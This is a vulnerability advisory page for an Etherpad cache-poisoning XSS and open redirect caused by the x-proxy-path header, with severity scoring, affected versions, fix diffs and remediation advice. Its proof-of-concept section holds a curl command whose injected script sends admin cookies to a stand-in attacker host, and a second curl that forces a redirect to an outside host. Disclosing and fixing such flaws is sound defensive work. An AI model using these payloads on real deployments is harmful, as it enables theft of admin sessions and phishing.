Skip to main content

Etherpad EUVDEUVD-2026-62721

| CVE-2026-55087 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-13 https://github.com/ether/etherpad GHSA-fjgc-3mj7-8rg8
6.1
CVSS 3.1 · Vendor: https://github.com/ether/etherpad
Share

Severity by source

Vendor (https://github.com/ether/etherpad) PRIMARY
6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI
6.1 MEDIUM

Network vector with no attacker privileges; admin victim must load poisoned page (UI:R); scope changes to admin browser origin (S:C); limited confidentiality and integrity impact on admin-scoped data.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/ether/etherpad).

CVSS VectorVendor: https://github.com/ether/etherpad

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Aug 13, 2026 - 14:21 vuln.today
Analysis Generated
Aug 13, 2026 - 14:21 vuln.today

DescriptionCVE.org

GHSA-03 - x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Severity: Medium CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CVSS suggested base score: ~6.1 - Medium *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment - single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)* CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests

Title

x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)

Description

Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:

Issue 3a - src/node/hooks/express/admin.ts (XSS, cache-poisoning)

The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/* using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:

  • An attacker who can issue a request with a chosen x-proxy-path value gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).
  • More seriously, any reverse proxy or CDN in front of Etherpad that caches /admin/index.html keyed on URL alone (the common case - no Vary was set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.

Issue 3b - src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)

The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:

ts
res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);

A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/<pad> header, which browsers interpret as a protocol-relative URL - equivalent to https://evil.example/p/<pad>. Open redirect, exploitable for phishing.

Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.

Severity rationale

  • AV:N / AC:L / PR:N - the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.
  • UI:R - victim must visit/interact with the admin UI.
  • S:C - scope changes (attacker context to admin origin).
  • C:L / I:L - XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.

CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.

Affected versions

  • Admin XSS (Issue 3a): ep_etherpad-lite >= 2.1.0, <= 3.0.0. The unsanitised replaceAll("/admin", req.header(PROXY_HEADER) + ...) was present in 63e9b2d "Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases through v3.0.0 carry it.
  • Open-redirect (Issue 3b): ep_etherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into a Location header was introduced in 451bd9c "scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.
  • Combined fix-target range covered by the GHSA: >= 2.1.0, <= 3.0.0.

Patched versions

  • ep_etherpad-lite >= 3.1.0 - the fix is on develop HEAD as commit 8c6104c. Update this field with the actual tagged release version when it ships.

Proof of concept

XSS / cache poisoning

curl -s 'https://pad.example/admin/index.html' \
  -H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'
# If served by a shared cache without Vary on x-proxy-path, subsequent
# requests to /admin/index.html (from any admin) get the same poisoned
# HTML.

Open redirect

curl -i 'https://pad.example/p/foo/timeslider' \
  -H 'x-proxy-path: //evil.example'
# HTTP/1.1 302 Found
# Location: //evil.example/p/foo

A browser followed against the etherpad origin treats //evil.example/p/foo as https://evil.example/p/foo.

Workarounds

  • Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite x-proxy-path from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't.
  • For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to /p/:pad (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).

Fix

Patched in 8c6104c (PR #7784):

  1. Extracted src/node/utils/sanitizeProxyPath.ts - a single shared helper used by both admin.ts and specialpages.ts. The helper:
  • returns "" when the header is absent;
  • strips characters outside [A-Za-z0-9_./-];
  • collapses a leading //+ to a single / (kills protocol-relative URLs);
  • prepends / if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);
  • rejects .. traversal segments.
  1. admin.ts now emits Vary: x-proxy-path and Cache-Control: private, no-store on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.

src/node/hooks/express/specialpages.ts - replace the local sanitiser with the shared one:

diff
-const sanitizeProxyPath = (req: any): string => {
-  const raw = req.header('x-proxy-path') || '';
-  return raw.replace(/[^a-zA-Z0-9\-_\/\.]/g, '');
-};
+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';

src/node/hooks/express/admin.ts - sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:

diff
   if (ext === ".html" || ext === ".js" || ext === ".css") {
-    if (req.header(PROXY_HEADER)) {
+    const proxyPath = sanitizeProxyPath(req);
+    if (proxyPath) {
       let string = data.toString()
-      dataToSend = string.replaceAll("/admin", req.header(PROXY_HEADER) + "/admin")
-      dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY_HEADER) + "/socket.io")
+      dataToSend = string.replaceAll("/admin", proxyPath + "/admin")
+      dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io")
     }
+    res.setHeader('Vary', 'x-proxy-path');
+    res.setHeader('Cache-Control', 'private, no-store');
   }

Resources

  • Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit 8c6104c).
  • Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.
  • Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.

Credits

Reported during an internal security audit by Claude (via @JohnMcLear).

AnalysisAI

Cache-poisoning XSS and open redirect in Etherpad (ep_etherpad-lite 2.1.0-3.0.0) stem from unsanitized reflection of the attacker-controlled x-proxy-path HTTP request header into admin HTML/JS/CSS assets and into a 302 Location target. The most severe vector is cache-poisoning: because no Vary: x-proxy-path header was emitted, a CDN or shared reverse proxy caches a single attacker-crafted response and serves the injected script to every authenticated admin who subsequently loads /admin/index.html, requiring no further attacker involvement. The timeslider redirect independently allows open redirect via protocol-relative URL injection (//evil.example). No CISA KEV listing is confirmed; a working PoC curl command is published in the GitHub advisory GHSA-fjgc-3mj7-8rg8.

Technical ContextAI

Etherpad is a Node.js/Express collaborative editor distributed as the npm package ep_etherpad-lite. It supports reverse-proxy subpath deployments via the x-proxy-path request header, which the proxy is expected to set so that server-rendered links and redirects include the correct path prefix. Two TypeScript modules process this header without adequate sanitization: src/node/hooks/express/admin.ts uses String.prototype.replaceAll to inject the raw header value directly into .html, .js, and .css response bodies, meeting CWE-79 (Improper Neutralization of Input During Web Page Generation). Critically, no Vary: x-proxy-path or Cache-Control header was added, so CDNs keying on URL alone collapse all header variants into one cached entry - enabling cache-poisoning. src/node/hooks/express/specialpages.ts concatenates the header into a res.redirect(302, ...) target; a local sanitizer filtered most special characters but did not block values beginning with //, allowing CWE-601 (URL Redirection to Untrusted Site) via protocol-relative URL (//evil.example). CWE-444 (Inconsistent Interpretation of HTTP Requests) underlies both: Etherpad trusts a header that end-clients can freely set when no well-configured proxy enforces its value. Affected CPE: pkg:npm/ep_etherpad-lite, versions 2.1.0 through 3.0.0.

RemediationAI

Upgrade ep_etherpad-lite to version 3.1.0 or later, which contains the fix landed in commit 8c6104c via PR https://github.com/ether/etherpad/pull/7784. The patch introduces a shared src/node/utils/sanitizeProxyPath.ts helper that strips characters outside [A-Za-z0-9_./-], collapses leading // to a single / to prevent protocol-relative URLs, and rejects .. path traversal segments; it also emits Vary: x-proxy-path and Cache-Control: private, no-store on all admin HTML/JS/CSS responses so downstream caches cannot collapse requests across different header values. If immediate upgrade is not possible, configure the reverse proxy (nginx, Traefik, HAProxy) to strip or forcibly overwrite x-proxy-path from all inbound client requests before forwarding to Etherpad - this eliminates both issues entirely. Note that stripping the header without re-setting the correct value will break subpath routing in legitimate proxy deployments; ensure the proxy re-injects the correct trusted value after stripping client-supplied versions. For the timeslider open-redirect specifically (v3.0.0 only), blocking direct access to /p/:pad/timeslider at the proxy layer eliminates Issue 3b without impacting pad functionality, since the in-pad PadModeController handles history mode independently.

CVE-2017-1000117 HIGH POC
8.8 Oct 05

A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL ca

CVE-2024-52875 HIGH POC
8.8 Jan 31

GFI Kerio Control versions 9.2.5 through 9.4.5 contain an HTTP response splitting vulnerability in the dest parameter of

CVE-2016-5385 HIGH POC
8.1 Jul 19

PHP through 7.0.8 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect

CVE-2013-2248 MEDIUM POC
5.8 Jul 20

Multiple open redirect vulnerabilities in Apache Struts 2.0.0 through 2.3.15 allow remote attackers to redirect users to

CVE-2012-6499 MEDIUM POC
5.8 Jan 12

Open redirect vulnerability in age-verification.php in the Age Verification plugin 0.4 and earlier for WordPress allows

CVE-2015-2863 MEDIUM POC
4.3 Jul 20

Open redirect vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 b

CVE-2017-3528 MEDIUM POC
5.4 Apr 24

Vulnerability in the Oracle Applications Framework component of Oracle E-Business Suite (subcomponent: Popup windows (li

CVE-2012-0518 MEDIUM
4.7 Oct 16

Unspecified vulnerability in the Oracle Application Server Single Sign-On component in Oracle Fusion Middleware 10.1.4.3

CVE-2024-21641 MEDIUM POC
6.5 Jan 05

Flarum is open source discussion platform software. Rated medium severity (CVSS 6.5), this vulnerability is remotely exp

CVE-2015-5354 MEDIUM POC
5.8 Jul 01

Open redirect vulnerability in Novius OS 5.0.1 (Elche) allows remote attackers to redirect users to arbitrary web sites

CVE-2015-5461 MEDIUM POC
6.4 Jul 08

Open redirect vulnerability in the Redirect function in stageshow_redirect.php in the StageShow plugin before 5.0.9 for

CVE-2024-22891 CRITICAL POC
9.8 Mar 01

Nteract v.0.28.0 was discovered to contain a remote code execution (RCE) vulnerability via the Markdown link. Rated crit

Share

EUVD-2026-62721 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy